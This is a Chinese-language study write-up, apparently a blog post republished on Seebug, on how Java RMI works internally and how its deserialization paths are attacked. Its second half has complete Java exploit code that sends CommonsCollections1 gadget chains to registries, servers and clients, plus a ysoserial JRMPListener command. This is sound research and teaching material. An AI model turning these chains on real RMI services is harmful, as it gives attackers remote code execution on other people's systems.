作者:p1g3@D0g3
原文鏈接:https://payloads.info/
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org
這一周把時間都花在學習RMI上了...在很多位師傅的幫助下,終于搞懂了RMI是個什么東西,他的攻擊流程是怎么樣的,遂記錄一篇筆記。
RMI是什么?
RMI(Remote Method Invocation),是一種跨JVM實現方法調用的技術。
在RMI的通信方式中,由以下三個大部分組成:
- Client
- Registry
- Server
其中Client是客戶端,Server是服務端,而Registry是注冊中心。
客戶端會Registry取得服務端注冊的服務,從而調用服務端的遠程方法。
注冊中心在RMI通信中起到了一個什么樣的作用?我們可以把他理解成一個字典,一個負責網絡傳輸的模塊。
服務端在注冊中心注冊服務時,需要提供一個key以及一個value,這個value是一個遠程對象,Registry會對這個遠程對象進行封裝,使其轉為一個遠程代理對象。當客戶端想要調用遠程對象的方法時,則需要先通過Registry獲取到這個遠程代理對象,使用遠程代理對象與服務端開放的端口進行通信,從而取得調用方法的結果。
RMI我認為實際上更偏向于面向接口編程,客戶端不需要具體的接口實現類,只需要接口實現的代碼,就可以調用遠程服務端中實現了這個接口具體類的方法。
強烈建議在學習RMI之前,先看看B站馬士兵的這個視頻來了解RPC的演練過程,以及底層的原理:https://www.bilibili.com/video/BV1zE41147Zq?from=search&seid=13740626242455157002
RMI的通信原理
在低版本的JDK中,Server與Registry是可以不在一臺服務器上的,而在高版本的JDK中,Server與Registry只能在一臺服務器上,否則無法注冊成功。
測試源碼 & JDK版本
- JDK 7u80
Client
Client用來調用遠程方法,由于需要調用具體方法,所以本地需要有服務端注冊的遠程對象類所實現的接口。
User.java
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
ublic String getName() throws RemoteException;;
public User getUser() throws RemoteException;
public void updateName(String name) throws RemoteException;;
}
接口需要繼承java.rmi.Remote接口,這是一個空接口,和Serializable接口一樣,只作標記作用,接口中的每個方法都需要拋出RemoteException異常。
Client.java
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
registry.lookup("user");
}
}
Client與注冊中心和服務端交互。
Server
User.java
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
public String getName() throws RemoteException;;
public User getUser() throws RemoteException;
public void updateName(String name) throws RemoteException;;
}
同樣的,Server中也需要有一個User接口。
LocalUser.java
import java.io.Serializable;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;
public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}
public User getUser(){
return this;
}
public String getName(){
return "["+this.name+"]";
}
public void updateName(String name){
this.name = name;
}
}
LocalUser實現了User接口,其需要繼承UnicastRemoteObject類。
Server.java
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(8888);
registry.bind("user",liming);
System.out.println("registry is running...");
System.out.println("liming is bind in registry");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}
Server.java負責將遠程對象綁定至注冊中心。
Registry
上面的Server里其實已經包含Registry了,上面的是大多數人的寫法,當然如果注冊中心和Server不寫在一個文件里的話,我們還可以單獨寫一個創建注冊中心的文件。
Registry.java
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class Registry {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
Registry registry = LocateRegistry.createRegistry(8888);
System.out.println("registry is running...");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}
或者我們還可以使用bin目錄下的rmiregistry來創建注冊中心:

調用
在這里寫一下如何在客戶端調用服務端的遠程方法,首先編譯并運行Server.java:

接著運行客戶端,即可調用遠程方法:

流程圖

上面一張圖是我自己畫的,可能不太完善,具體可以看先知中這個師傅里邊用的流程圖:

上圖來源:https://xz.aliyun.com/t/2223
源碼分析
客戶端或服務端與注冊中心的通信
獲取注冊中心有兩種方式,一種是創建時獲取(LocateRegistry#createRegistry),另外一種則是遠程獲取(LocateRegistry#getRegistry)。接下來會分析這兩種方式的異同。
本地獲取注冊中心
createRegistry有兩個方法,其中傳遞的參數不同:

第一種只需要傳遞port,即注冊中心監聽的端口,第二種方式除了需要傳遞port外,還需要傳遞RMIClientSocketFactory以及RMIServerSocketFactory對象。
兩個方法最終獲取到的都是RegistryImpl對象,對于攻擊者的我們關系并不大,只需要分析第一種方法即可。
public static Registry createRegistry(int var0) throws RemoteException {
return new RegistryImpl(var0);
}
var0即我們傳遞的port,這里new了一個RegistryImpl對象,跟入:
public RegistryImpl(int var1) throws RemoteException {
LiveRef var2 = new LiveRef(id, var1);
this.setup(new UnicastServerRef(var2));
}
LiveRef里封裝了一些信息,包括ip和要監聽的端口等:

第二行的setup方法中傳遞的參數是UnicastServerRef對象,在new的過程中把LiveRef對象傳遞進去了:
public UnicastServerRef(LiveRef var1) {
super(var1);
this.forceStubUse = false;
this.hashToMethod_Map = null;
}
super#UnicastRef
public UnicastRef(LiveRef var1) {
this.ref = var1;
}
在這里也只是做了一些數據的封裝,并沒有涉及到網絡請求,我們就行跟RegistryImpl#setup:

跟入UnicastServerRef#exportObject:

這里調用了Util.createProxy,傳入了RegistryImpl.class、Ref以及一個不知道是干嘛用的參數:

接著跟CreateStub:

在這里返回了RegistryImpl_Stub對象,所以var 5實際上是RegistryImpl_Stub對象。
回到上邊的setSkeleton:

同樣的,這里也會通過一樣的方式來獲取RegistryImpl_Skel對象:

繼續回到上邊,再創建完Stub和Skel對象時,會實例化一個Target對象:

var 6實際上也只是初始化了一些信息,把上面獲取到的Stub、Skel對象以及一些ip端口信息封裝在一個對象里邊,之后會調用LiveRef#exportObject,并且將Target對象傳進去,接著會來好幾個exportObject,調用棧如下:

到了TCPTransport#exportObject之后,會做一系列網絡層的操作,包括監聽端口、設置當遇到請求時該怎么做:

跟入listen方法:

在調用TCPEndpoint#newServerSocket時,會開啟端口監聽:

接著會設置AcceptLoop線程,此時會觸發其run方法:

跟入TCPTransport#executeAcceptLoop:

這里會獲取到請求的一些相關信息,比如Host之類,之后在下邊會創建一個線程調用ConnectionHandler來處理請求:

跟入ConnectionHandler#run:

這里的var2就是上邊傳進來的ServerSocket對象,接著跟入run0方法:
在上邊會獲取一些客戶端發來的信息,下邊會調用TCPTransport#handleMessages來處理請求:

跟入handlerMessages:

上面還是獲取客戶端傳來的數據,我們這里直接看下邊:

這里只需要關注80,因為客戶端發送數據的時候這里發的是80,具體后邊會說。
在上面的代碼中先是創建了一個StreamRemoteCall對象,并傳入var1,var1是當前連接的Connection對象,接著跟入TCPTransport#serviceCall:

在上邊獲取了傳來的一些信息,比如ObjID,接著會獲取Target對象,在下邊會調用UnicastServerRef#dispatch來處理請求:

這里傳遞了兩個參數,一個是Remote對象,一個是當前連接的StreamRemoteCall對象,接著跟dispatch:

前面也是讀一些數據,接著會調用到UnicastServerRef#oldDispatch:

最后一行調用了this.skel.dispatch,此時的this.skel為剛剛創建的RegistryImpl_Skel對象,接著跟其dispatch方法:

在這里就是真正處理請求的核心了,var3是傳遞過來的int類型的參數,在這里有如下關系的對應:
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
在這里會對每個調用的方法進行處理,比如你調用了bind方法,就會先readObject反序列化你傳過來的序列化對象,之后再調用var6.bind來注冊服務,此時的var6位RegistryImpl對象,這個對象其實就是調用createRegistry獲得的,這里說這個的目的是想讓大家知道,其實無論是客戶端還是服務端,最終其調用注冊中心的方法都是通過對創建的RegistryImpl對象進行調用。
在上面那部分,我們已經分析完了當注冊中心監聽的端口被請求時,是如何處理這些請求的。
通過createRegistry返回的是RegistryImpl對象,最終是像這樣的:

這里的bindings是一個Hashtable,里邊以鍵-值的方式存儲了服務端注冊的服務。
遠程獲取注冊中心
通過getRegistry方法獲得的對象是RegistryImpl_Stub對象,與通過createRegistry獲得的對象不同,createRegistry獲得的微RegistryImpl對象。
當我們調用這兩者的方法時,其對應的處理方式也十分不同,以bind方法舉例,通過createRegistry獲得的注冊中心調用bind方法十分簡單:

在第一步會checkAccess,里邊有一些判斷,會對你當前的權限、來源IP進行判斷,之前說了,高版本JDK中不允許除了localhost之外的地址注冊服務也是在這里進行判斷的:

之后其實很簡單了,只是這個鍵是否已經被綁定過,如果已經被綁定過,則拋出一個AlreadyBoundException的錯誤,反之則將鍵和對象都put到Hashtable中。
而如果是遠程調用bind方法呢?那將會變得十分麻煩,測試代碼:
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(8888);
Registry reg = LocateRegistry.getRegistry("127.0.0.1",8888);
reg.bind("user",liming);
這里我先創建了注冊中心,之后通過getRegistry的方式遠程獲取注冊中心,此時獲得到的對象為RegistryImpl_Stub,跟入其bind方法:

這里會先調用UnicastRef#newCall:

注意這里的var3,前面說過,bind方法對于的數字為0,此時的var3就代表了bind方法對應的數字。
在newConnection這里,會寫入一些已經約定好的數據,比如ip、端口等,在StreamRemoteCall里,同樣會寫入一些數據:

這里在最開始寫入了80,也就和我們上邊分析時說的80對上了,然后還會寫一些數據比如要調用的方法所對應的num和ObjID之類的。
當調用完這些之后,回到bind方法:

此時會往寫入兩個內容:
- 序列化后的var1,var1為我們要綁定遠程對象對應的名稱
- 序列化后的var2,var2為我們要綁定的遠程對象
在invoke這里會把請求發出去,接著我們看看注冊中心在收到這條請求后是如何進行處理的,前面說了會調用Skel#dispatch來處理請求,我們直接看這個就可以了。

注冊中心首先會read兩個Object,第一個即我們剛剛write進去的字符串對象,第二個就是遠程對象了,接著調用var6.bind來綁定服務,var6即RegistryImpl對象,他是如何綁定服務的在上邊寫了。
至此,我們已經了解了當注冊中心的方法被調用時,遠程獲取和本地獲取的差異是什么。
客戶端與服務端的通信
客戶端與服務端的通信只發生在調用遠程方法時。此時是客戶端的遠程代理對象與的Skel進行通信。
我們在客戶端獲取的是注冊中心封裝好的代理對象,所以默認會調用代理對象的invoke方法:

在這里會判斷你調用的方法是所有對象都有的,還是只有遠程對象才有的,如果是前者,則進入invokeObjectMethod中,后者則進入invokeRemoteMethod中。
跟入RemoteObjectInvocationHandle#invokeRemoteMethod中:

在這里會調用this.ref.invoke,并把proxy、method、args以及method的hash傳過去,this.ref是在lookup時獲取到的遠程對象綁定的一些端口信息:

這里的端口是隨機的,每次都會變,接著跟一下LiveRef#invoke:

同樣的,在newConnection這里會發送一些約定好了的數據。
接著往下看:

在marshaValue這里,會將我們調用的方法要傳遞的參數序列化寫到連接中,如果傳遞的參數是對象,就會寫入序列化對象到這里:

接著會調用StreamRemoteCall#executeCall:

跟入:

在this.releaseOutputStream方法中,會讀取服務端執行的結果:

在this.out.flush時,會把之前寫進去的數據發出去,服務端會返回執行結果:

在調用完executeCall后,會進入下邊這個方法,把數據取出來:

調用了unmarsharValue方法,把數據取出來,用的是jdk自帶的readObject:

至此,客戶端是如何和服務端通信的我們清楚了,那么服務端又是如何與客戶端通信的呢?
當Client在與Server通信時,Server實際處理請求的位置在:UnicastServerRef#dispatch

在這里會調用unmarshaValue,對請求傳來的參數進行處理:


在這里會判斷參數的數據類型,如果是Object的話,則會反序列化,所以在這里我們如果能夠找到Server注冊的遠程對象中,如果某個方法傳遞的參數類型是Object,在服務端這里會被反序列化,此時即可造成RCE(當然得有gadget)。

最終通過調用invoke,來調用遠程對象的方法。
Java-RMI-反序列化攻擊方式匯總
上面已經把客戶端、服務端、注冊中心三者是如何交互的給簡單分析了一下,可以發現其通訊過程是基于序列化的,那么有序列化,自然就會有反序列化,所以我們只需要根據反序列化的點去攻擊就好了。
攻擊注冊中心
我們可以通過以下方法與注冊中心進行交互:
- list
- bind
- rebind
- rebind
- lookup
我們來看看注冊中心對這幾種方法的處理,如果存在readObject,則可以利用。
list

當調用list時,不存在readObject,所以無法攻擊注冊中心。
bind & rebind


當調用bind時,會用readObject讀出參數名以及遠程對象,此時則可以利用。
當調用rebind時,會用readObject讀出參數名和遠程對象,這里和bind是一樣的,所以都可以利用。
Demo:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //創建第一個代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //創建proxy對象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
registry.bind("test",r);
}
}
這里我用的是cc1的鏈,所以服務端自然也需要存在cc1相關的漏洞組件才行。
重點關注:
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
Remote.class.cast這里實際上是將一個代理對象轉換為了Remote對象:
Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler)
上述代碼中創建了一個代理對象,這個代理對象代理了Remote.class接口,handler為我們的handler對象。當調用這個代理對象的一切方法時,最終都會轉到調用handler的invoke方法。
而handler是InvocationHandler對象,所以這里在反序列化時會調用InvocationHandler對象的invoke方法:

在invoke方法里,同樣會觸發memberValues的get方法,此時的memberValues是proxy_map,其也是一個代理類對象,所以會繼續觸發proxy_map的invoke方法,后邊的就是cc1的前半段內容了。

unbind & lookup


從上述代碼中我們可以發現,unbind和lookup實際上都會調用readObject來讀取傳遞過來的參數,所以同樣是可以利用的。
不過這里有一個問題,當我們調用unbind或者lookup時,只允許我們傳遞字符串,所以沒法傳遞我們的惡意對象。這個問題要解決有幾種辦法:
- 偽造連接請求
- rasp hook請求代碼,修改發送數據
我用的是第一種,也是比較簡單的一種,直接通過反射就能實現。
想要手動偽造請求,我們就需要去判斷一下當執行lookup時,會經過怎樣的流程。
在調用lookup之前,我們需要先獲取客戶端,通過getRegistry方法返回的是一個Registry_Stub對象。
Registry_Stub#lookup
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}
我們只需要照抄一遍,再修改一下代碼即可。
Demo:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;
import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //創建第一個代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //創建proxy對象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
//
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// 獲取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);
//獲取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);
// 偽造lookup的代碼,去偽造傳輸信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}
當然,unbind也是同樣的流程,這里就不重新再寫一次了。
攻擊客戶端
注冊中心攻擊客戶端
PS:此方式可攻擊客戶端或服務端。
在通信過程中,RMI與注冊中心以及服務端進行了交互,我們需要對這兩者做手腳,從而達到攻擊客戶端的目的。
對于注冊中心來說,我們還是從這幾個方法觸發:
- bind
- unbind
- rebind
- list
- lookup
這里的每個方法,除了unbind和rebind,其他的都會返回數據給客戶端,此時的數據是序列化的數據,所以客戶端自然也會反序列化,那么我們只需要偽造注冊中心的返回數據,就可以達到攻擊客戶端的效果啦。
這里yso的JRMPListener已經做好了,命令如下:
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app'
Client Demo:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345);
registry.list();
}
}

比較有意思的是,我發現這里即使調用unbind也會觸發反序列化,推測是在之前傳輸一些約定好的數據時進行的序列化和反序列化。
所以實際上這五種方法都可以達到注冊中心反打客戶端或服務端的目的。
服務端攻擊客戶端
服務端攻擊客戶端,大抵可以分為以下兩種情景。
1.可以使用codebase 2.服務端返回參數為Object對象
先寫第二種。
服務端返回參數為Object對象
在RMI中,遠程調用方法傳遞回來的不一定是一個基礎數據類型(String、int),也有可能是對象,當服務端返回給客戶端一個對象時,客戶端就要對應的進行反序列化。
所以我們需要偽造一個服務端,當客戶端調用某個遠程方法時,返回的參數是我們構造好的惡意對象。
這里我還是以cc1為例,簡單的演示一下。
惡意UserImpl:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;
public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}
public Object getUser(){
InvocationHandler handler = null;
try {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //創建第一個代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //創建proxy對象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
}catch(Exception e){
e.printStackTrace();
}
return (Object)handler;
}
public String getName(){
return "["+this.name+"]";
}
public void updateName(String name){
this.name = name;
}
public void addUser(Object user) throws RemoteException {
}
}
惡意服務端:
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.concurrent.CountDownLatch;
public class Server {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException {
User liming = new LocalUser("liming",15);
Registry registry = LocateRegistry.createRegistry(8888);
registry.bind("user",liming);
System.out.println("registry is running...");
System.out.println("liming is bind in registry");
CountDownLatch latch=new CountDownLatch(1);
latch.await();
}
}
此時當客戶端調用服務端綁定的遠程對象的getUser方法時,將反序列化服務端傳來的惡意遠程對象。此時將觸發Rce。

當然,這種前提是客戶端也要有對應的gadget才行。
遠程加載對象
這個條件十分十分苛刻,在現實生活中基本不可能碰到。
當服務端的某個方法返回的對象是客戶端沒有的時,客戶端可以指定一個URL,此時會通過URL來實例化對象。
具體可以參考這篇文章,利用條件太過于苛刻了:http://www.bjnorthway.com/1091/#serverrmi-server
java.security.policy這個默認是沒有配置的,需要我們手動去配置。
攻擊服務端
如何攻擊服務端呢?上面已經說了用注冊中心反打服務端的操作,接下來就是說客戶端如何攻擊服務端了。
當服務端的遠程方法存在Object參數的情況下
在上上面寫了,如果服務端的某個方法,傳遞的參數是Object類型的參數,當服務端接收數據時,就會調用readObject,所以我們可以從這個角度入手來攻擊服務端。
前提:
- 服務端的某個遠程方法傳遞參數為Object
我們需要先在User接口中新增這么一個方法:
import java.rmi.RemoteException;
public interface User extends java.rmi.Remote {
public String getName() throws RemoteException;;
public User getUser() throws RemoteException;
public void updateName(String name) throws RemoteException;;
public void addUser(Object user) throws RemoteException;
}
此時多了一個addUser方法,當客戶端調用這個方法時候,服務端會對其傳遞的參數進行反序列化。
Client Demo:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class Client {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //創建第一個代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //創建proxy對象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
Registry registry = LocateRegistry.getRegistry("127.0.0.1",8888);
User user = (User) registry.lookup("user");
user.addUser(handler);
}
}

遠程加載對象
和上邊Server打Client一樣,都屬于十分十分十分難利用的點。
參考:http://www.bjnorthway.com/1091/#serverrmi
實現帶回顯攻擊
這里說的帶回顯攻擊,指的是攻擊注冊中心時,注冊中心遇到異常會直接把異常發回來,返回給客戶端。
先看下之前攻擊注冊中心時采用的方式,我們可以通過bind、lookup、unbind、rebind等方式去攻擊注冊中心,當我們嘗試攻擊時,命令確實執行了,不過注冊中心的錯誤也會傳遞到我們的客戶端中:

Exception in thread "main" java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.util.Set
at com.sun.proxy.$Proxy2.entrySet(Unknown Source)
at sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:329)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:979)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1873)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1777)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1329)
at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:1970)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1895)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1777)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1329)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:349)
at sun.rmi.registry.RegistryImpl_Skel.dispatch(Unknown Source)
at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:390)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:248)
at sun.rmi.transport.Transport$1.run(Transport.java:159)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:155)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:535)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:790)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:649)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:895)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:918)
at java.lang.Thread.run(Thread.java:695)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:275)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:252)
